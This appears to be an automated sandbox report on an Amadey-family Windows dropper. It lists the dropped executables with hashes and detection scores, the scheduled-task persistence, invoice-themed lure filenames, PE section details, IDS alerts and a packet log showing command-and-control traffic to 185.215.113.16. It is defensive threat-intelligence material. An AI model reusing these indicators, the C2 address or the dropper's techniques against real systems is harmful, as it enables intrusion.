Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........................\#..<........... ....@...... ........................7...........`...@......@............... ................................#..:........................................................................................... ..H............text....[#.. ...\#................. ..`.rsrc....:....#..<...^#.............@..@........................................H.......X.".T.......N........-"..........................................~....Pt.f..L^[1.w.u......BZ.F...!....-.(...E..!l.\|.I..I.........f.9....H....OO._9XB....CR.....n\|kh.^..rl.y...~....`..Z...B...(.e._.p......F..j.gZ4p...h....Hy.7P6.Q..)9.2y.:...n.Fb.zW...\..cl....]...1.w...-...(....6i(.. ......U.r...g@..N..=q....].'...d....... ...plW!r._....D.x.q_.-.....<.F.sQ#ix.L....+..,b.."..W.......6h...\...d....0...`\.>.....1wlRln(}*...h...c......}:...a....b..9I.,.......P..szo.\|j

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1883648
Entropy (8bit):	7.950166950286062
Encrypted:	false
SSDEEP:	49152:3u6dXUnfSc0pskQ3YZUGFEryICFEosaEXcee4i8:3u6dbvRQoaGkyyaEsrf8
MD5:	1E7539BA44850839FB406E206245244D
SHA1:	263B99D973B2CC7A864DF03B644FB9D2A3B0A9FD
SHA-256:	FB0906DF0347080F14321A99068B80C58821DF129895552084B47E41204241E6
SHA-512:	8F3D0C80F5229C9A26F348042FE4973F1D77E6AE1BB78DEC59E8E33B61580D1B4E54866362695A3B8726B5F075F2561F518C43E0A03E86989D8200BC13C63CB5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f.............................`J...........@...........................J.....3H....@.................................W...k............................AJ.............................\AJ..................................................... . ............................@....rsrc...............................@....idata ............................@... ..).........................@...hfllqtxz......0.....................@...qpgmzvyb.....PJ.....................@....taggant.0...`J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\neon.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000356001\neon.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	78336
Entropy (8bit):	4.369296705546591
Encrypted:	false
SSDEEP:	768:jlU4+MS3Fu0thSOV4GM0SuHk9Oh/1TRIWUk7NlfaNV9KQLxXXSv:l6o03IGMLuHk+Ck5lfaNP7xSv
MD5:	0E362E7005823D0BEC3719B902ED6D62
SHA1:	590D860B909804349E0CDC2F1662B37BD62F7463
SHA-256:	2D0DC6216F613AC7551A7E70A798C22AEE8EB9819428B1357E2B8C73BEF905AD
SHA-512:	518991B68496B3F8545E418CF9B345E0791E09CC20D177B8AA47E0ABA447AA55383C64F5BDACA39F2B061A5D08C16F2AD484AF8A9F238CA23AB081618FBA3AD3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: image.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Approved_Invoice_0000384834.exe, Detection: malicious, Browse Filename: po-544-8370.exe, Detection: malicious, Browse Filename: Approved PO.exe, Detection: malicious, Browse Filename: SO-0093848222.exe, Detection: malicious, Browse Filename: LLC_KHIMAKTIV_SOFT_Po_Official_2023.exe, Detection: malicious, Browse Filename: SO-x-008387489.exe, Detection: malicious, Browse Filename: IB7QP60Fdx.exe, Detection: malicious, Browse Filename: Quote_for_order.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Y ................P..&...........D... ........@.. ....................................`..................................D..W....`..............................hD............................................... ............... ..H............text....$... ...&.................. ..`.rsrc........`.......(..............@..@.reloc...............0..............@..B.................D......H.......l....%......)....................................................0..6.......(8...t....&.(8...t....&......(8...t...................8;....8%.....(8...t....&.(8...t............:.....(8...t....:.....(8...t....:....(8...t....................................\:@....(8...t....&.)...&8.....(8...t....&(8...t....&.....:.......8x........:L...88....(8...t....&(8...t....&(8...t....&(8...t.....................:....8!.....(8...t....&......(8...t....&.....(8...t....:8.....(8...t....&.

C:\Users\user\AppData\Local\Temp\neon.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000356001\neon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	68
Entropy (8bit):	4.597753650865814
Encrypted:	false
SSDEEP:	3:+V11Ukh4E2J5xAI4BVGAkTov:+V923fuVGyv
MD5:	A458001B7F945AB2297AEB0AD8795DC5
SHA1:	B7D2C994A07B3A79A524B0DD6012A5F91EC85293
SHA-256:	726306339FF9B5A85F8B484495B6C32BBC9E227E62C06EEE1405C66B37741152
SHA-512:	FD330C883B527BF5C35C9CB11DCA7C619F18A62E408B895F53EC0E731F5EC02FEB60C9628E1E76F081615E58CCC1A66EA92035D4B9E237C2C282C99A24361254
Malicious:	false
Preview:	6160..C:\Users\user\AppData\Local\Temp\1000356001\neon.exe..4816..

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.4187022712327098
Encrypted:	false
SSDEEP:	6:Rq8X45ZsUEZ+lX1lOJUPelkDdtFXqYEp5t/uy0lbout0:RZDQ1lOmeeDNfXVMut0
MD5:	6B1B59D368BDB520C89D2CDDA460288B
SHA1:	581E0323576F4222F738BAC1549C10B816D17C47
SHA-256:	C8D171E8C2F1D73F359847AABAA72B22308EA53446FA4C37A7C6E812AEC11872
SHA-512:	A0509323D679AE6511E58E353F0BAAC8F3E683920E0D6B2136EF051AB0E0493BF912759A4EE4386CF1F888224B5923B9E73A6A3D1E037BBA4180E41B519AA4A0
Malicious:	false
Preview:	.......#<..A.. v(.BF.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................!.@3P.........................

\Device\Null

Download File

Process:	C:\Windows\System32\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	576
Entropy (8bit):	4.905745387682229
Encrypted:	false
SSDEEP:	12:PKMRJpTeTeTeTeTeTeT0sQ5AFSkIrxMVlmJHaVzvv:/crAokItULVDv
MD5:	3FD0A950003C9A8268B127219C2ABC07
SHA1:	DB1178A1FF92348E971034BB210EE1894E4057DB
SHA-256:	1A5F3664E509DE9FE710D15E741E5948F374E8F5F408F297B7EAE1F4C0EF5F40
SHA-512:	250918F89000B16B1B81EAB12A6E3EC77C6264912CD81C813E5DDE048B3F2FBE2008999E8278668B6F4E00F3DAF52A33A7E37E8878A27F417D1F959CE9ABB04D
Malicious:	false
Preview:	..Pinging 127.0.0.1 with 32 bytes of data:..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128....Ping statistics for 127.0.0.1:.. Packets: Sent = 7, Received = 7, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950166950286062
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'883'648 bytes
MD5:	1e7539ba44850839fb406e206245244d
SHA1:	263b99d973b2cc7a864df03b644fb9d2a3b0a9fd
SHA256:	fb0906df0347080f14321a99068b80c58821df129895552084b47e41204241e6
SHA512:	8f3d0c80f5229c9a26f348042fe4973f1d77e6ae1bb78dec59e8e33b61580d1b4e54866362695a3b8726b5f075f2561f518c43e0a03e86989d8200bc13c63cb5
SSDEEP:	49152:3u6dXUnfSc0pskQ3YZUGFEryICFEosaEXcee4i8:3u6dbvRQoaGkyyaEsrf8
TLSH:	A3953376DF2366B6F38C117B4EA7CFEB3018E6200979286644B45D9B05E7CD214D3B8A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD5B0E3143Ah
setl byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FD5B0E33435h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4a41ac	0x10	hfllqtxz
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4a415c	0x18	hfllqtxz
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	ab06a9ed78beb9585e7e76b95a428bd7	False	0.9969878235694822	data	7.9723620695776765	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	622a9202b759ea3d1c0f8efabc41fdf4	False	0.58203125	data	4.5212634524006114	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x29f000	0x200	75a5502fdd50fcc24be21356b7b8ece0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hfllqtxz	0x30a000	0x19b000	0x19a400	31962fd121e806adcf482b7cf730b148	False	0.994294756436624	data	7.953481411465242	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qpgmzvyb	0x4a5000	0x1000	0x400	29ed237b905b269f450f4919319c0c20	False	0.796875	data	6.168931913827575	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a6000	0x3000	0x2200	9d78044fb2b2155a58a1c2c014913753	False	0.06675091911764706	DOS executable (COM)	0.6911568358187109	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4a41bc	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-26T21:33:03.826817+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49713	185.215.113.16	80	TCP
2024-09-26T21:33:04.112053+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.16	80	192.168.2.5	49713	TCP
2024-09-26T21:33:04.334859+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49713	185.215.113.16	80	TCP
2024-09-26T21:33:09.123262+0200	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.5	49714	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 21:33:03.049618959 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:03.054704905 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:03.054806948 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:03.054955959 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:03.060395956 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:03.823292971 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:03.826817036 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:03.852586031 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:03.865274906 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.097734928 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.098253012 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.106941938 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.112052917 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.334700108 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.334724903 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.334738970 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.334753990 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.334769011 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.334781885 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.334795952 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.334810972 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.334858894 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.334949970 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.335091114 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.335124969 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.335140944 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.335144997 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.335171938 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.335189104 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.335225105 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.422923088 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.422982931 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.423093081 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.423129082 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.480212927 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.480271101 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.480283976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.480308056 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.480405092 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.481115103 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.488749027 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.488770008 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.488847017 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.489016056 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.489032030 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.489092112 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.500186920 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.500233889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.500327110 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.500355005 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.500370979 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.500386000 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.500535011 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.500535011 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.508889914 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.508910894 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.508925915 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.508940935 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.508955002 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.508981943 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.509172916 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.517798901 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.517847061 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.517862082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.517877102 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.517970085 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.517990112 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.559710979 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.559804916 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.559941053 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.559990883 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.603226900 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.603285074 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.603301048 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.603424072 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.603424072 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.604175091 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.604190111 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.604203939 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.604218006 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.604228020 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.604233980 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.604247093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.604276896 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.604315042 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.605956078 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.605971098 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.605984926 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.605999947 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.606012106 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.606014967 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.606030941 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.606045961 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.606059074 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.606060028 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.606076956 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.606089115 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.606091022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.606117964 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.606142998 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.606412888 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.606427908 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.606442928 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.606462002 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.606489897 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.608069897 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.608091116 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.608105898 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.608119965 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.608128071 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.608136892 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.608166933 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.608206034 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.610131979 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610146046 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610160112 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610174894 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610184908 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.610189915 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610204935 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610219955 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610228062 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.610234976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610249996 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610260963 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.610265970 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610285997 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.610308886 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.610765934 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610790968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610805988 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610816956 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.610821962 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610837936 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.610846996 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.610882998 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.612375021 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.612422943 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:04.655076027 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:04.655170918 CEST	49713	80	192.168.2.5	185.215.113.16
